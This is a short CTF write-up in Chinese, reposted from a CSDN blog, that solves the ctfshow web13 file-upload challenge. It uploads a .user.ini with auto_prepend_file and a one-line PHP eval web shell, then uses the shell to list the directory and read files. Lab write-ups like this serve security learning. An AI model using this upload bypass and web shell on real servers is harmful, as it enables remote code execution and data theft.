ctfshow-web13 文件上传

blog.csdn.net

0x00 前言

文中工具皆可关注皓月当空w 公众号发送关键字工具获取

在这里插入图片描述

首先看到是一个上传页面，测试其他无果，遂进行目录遍历，发现upload.php.bak文件

在这里插入图片描述
可以看到这里的限制条件，大小，以及内容，这里可以使用.user.ini进行上传，具体参考：php user.ini详解

那么我们先上传.user.ini

auto_prepend_file=1.txt
1

然后上传1.txt，尝试使用get，但是没有生效，这里需要控制字符数量

<?php eval($_POST['a']);
1

上传好了之后，通过index.php进行访问

首先查看当前目录

在这里插入图片描述

然后通过highlight_file读取文件

在这里插入图片描述

以上

注：本文转载自blog.csdn.net的Wcbddd的文章"https://blog.csdn.net/HAI_WD/article/details/132504365"。版权归原作者所有，此博客不拥有其著作权，亦不承担相应法律责任。如有侵权，请联系我们删除。

复制链接

发表评论

未查询到任何数据！